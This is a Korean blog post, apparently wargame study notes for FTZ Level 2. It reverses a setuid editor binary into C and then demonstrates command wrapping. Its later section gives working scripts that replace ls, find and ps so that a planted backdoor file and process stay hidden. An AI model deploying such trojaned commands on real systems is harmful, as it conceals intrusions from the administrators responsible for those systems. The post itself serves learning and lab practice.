본문으로 바로가기

Level2 문제 분석/응용

category Security/리버싱 2017. 11. 28. 21:18

- Level2 

editor를 리버싱하여 의사코드로 복원


[level2@ftz level2]$ gdb /usr/bin/editor

 

 GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

0x08048360 <main+0>:    push   %ebp

0x08048361 <main+1>:    mov    %esp,%ebp

0x08048363 <main+3>:    sub    $0x8,%esp

0x08048366 <main+6>:    and    $0xfffffff0,%esp

0x08048369 <main+9>:    mov    $0x0,%eax

0x0804836e <main+14>:   sub    %eax,%esp

0x08048370 <main+16>:   sub    $0x8,%esp

0x08048373 <main+19>:   push   $0xbbb

0x08048378 <main+24>:   push   $0xbbb

0x0804837d <main+29>:   call   0x80482a0 <setreuid>

0x08048382 <main+34>:   add    $0x10,%esp

0x08048385 <main+37>:   sub    $0xc,%esp

0x08048388 <main+40>:   push   $0x8048444

0x0804838d <main+45>:   call   0x8048280 <system>

0x08048392 <main+50>:   add    $0x10,%esp

0x08048395 <main+53>:   leave

0x08048396 <main+54>:   ret

0x08048397 <main+55>:   nop

End of assembler dump.

(gdb) x/s 0x8048444
0x8048444 <_IO_stdin_used+4>:    "/bin/vi"

 

> 생각보다 엄청 간단하게 이루어져 있다. 

> setreuid는 level1에서도 확인 했듯이 UID와 EUID를 변경시킨다. push 값은 0xbbb(3003) 이다. 보나마나 level3의 UID일 것이다. 

> system으로 실행하는 명령어는 /bin/vi임을 확인 했다. 


- 복원한 의사코드

editor.c

 

#include<sys/types.h>

#include<unistd.h>

#include<stdlib.h>


int main()

{

   setuid(3003,3003);

   system("/bin/vi");

}

 

> 추가 시킬 헤더파일은 man 명령어로 확인해보면 확인 가능합니다. 


> 너무나 간단한 코드로 해킹이 가능하다. 


- 응용

위처럼 editor를 만들어 놓으면 vi를 대체 할 수 있다. 

명령어를 수행할때 필요한 작업을 한꺼번에 실행 할 수 있다면 좋겠다. 


ftz.hackerschool.org의 이미지는 아직 권한이 완벽하지 않으니 linux에서 실습한다. 


passwd 명령어를 사용하는 사용자를 로그파일에 저장한다. 

# vi /root/bin/passwd

 

 #!/bin/bash


id >> /tmp/passwd.log

date >> /tmp/passwd.log

echo >> /tmp/passwd.log


/usr/bin/passwd.old $*

 

> /root/bin/passwd를 사용하면 id/date/echo를 실행하여 지정된 passwd.log 파일에 저장한다. 

> /usr/bin/passwd.old $*  passwd.old( 원래 passwd 명령어 이름만 잠깐 바꿔놓음 ) 의 인자 값을 모두 가져온다. 


# chmod 755 /root/bin/passwd 

> 실습용으로 실행 퍼미션을 준다.


# mv /usr/bin/passwd /usr/bin/passwd.old

# cp /root/bin/passwd /usr/bin/passwd

> 기존의 명령어 파일의 이름을 바꾸고 만든 파일을 옮겨놓는다. 


# passwd user01

-> 사용자의 암호가 정상적으로 바뀌고 /tmp/passwd.log를 확인하면 기록에도 남아있는 것을 확인 할 수 있다. 


# rm /usr/bin/passwd 

# mv /usr/bin/passwd.old /usr/bin/passwd 

> 복원 작업



악의적인 응용에는 해킹한 서버에 백도어 파일을 남겨두었다. 

백도어가 검색이 되지 않도록 하면 사용자가 알아채지 못할 것이다.  ( ls 명령어 조작 )


# vi /root/bin/ls

 

 #!/bin/bash


/bin/ls $* | grep -v hacker_file

 

> ls의 모든 인자 값($*)을 가져오고 뒤에 백도어 파일(hacker_file)은 늘 제외한다. 

> passwd.old 처럼 완전 바꿔버리려면 ls 명령어도 이름을 바꿔 지정해야 하지만 간단히 확인만 하기 때문에 /bin/ls를 그대로 사용

> /bin/ls 를 지우고 /root/bin/ls를 넣으면 안된다.


# chmod 755 /root/bin/ls

> 실행 권한 부여


# touch /root/bin/hacker_file

# cd /root/bin

# /root/bin/ls -l

-> hacker_file이 보이지 않는다.

# /bin/ls -l

-> hacker_file이 보인다. 


같은 방법으로 find 명령어로도 검색이 되지 않게 하려면

# vi /root/bin/find

 

#!/bin/bash


/usr/bin/find $* | grep -v hacker_file

 




같은 방법으로 hacker_process가 검색되지 않게 ps 명령어를 조작한다. 


# vi /root/bin/ps

 

 #!/bin/bash


/bin/ps $* | egrep -v hacker_process

 

> ps 명령어의 인자 값을 다 가져오고 hacker_process는 제외한다.


# vi /root/bin/hacker_process

 

 #!/bin/bash


sleep 86400

 

> 간단하게 대기하는 프로그램을 만들어 실행 권한을 주고 실행한다. 


# /root/bin/ps -ef  | grep hacker*

-> 검색 되지 않는다. 


# /bin/ps -ef | grep hacker*

-> 검색 된다. 



(결론) 

간단하게 새로운 프로그램을 해서 추가해서 넣어주었다. 이러한 방법은 기존의 명령어를 참조하기 때문에 기존의 명령어를 삭제하면 안된다. 

이름도 같을 수 없기에 passwd.old 처럼 기존의 명령어의 이름을 바꿔야 한다. 이상한 이름으로 되어있는 명령어 파일을 보면 의심을 할 수 있다. 


하지만 기존의 명령어 파일 자체에 코드를 숨겨 놓으면 찾을 수 없다.  ( 해킹 당했다고 판단된 서버는 밀어버릴 수 밖에 없다. ) 




'Security > 리버싱' 카테고리의 다른 글

(암기) backdoor 만들기  (0) 2017.11.28
Level3 문제 해결  (0) 2017.11.28
Level2 문제 해결  (0) 2017.11.28
level 1 문제 해결 ( /bin/ExecuteMe 해석 )  (0) 2017.11.27
level 1 문제 해결  (0) 2017.11.27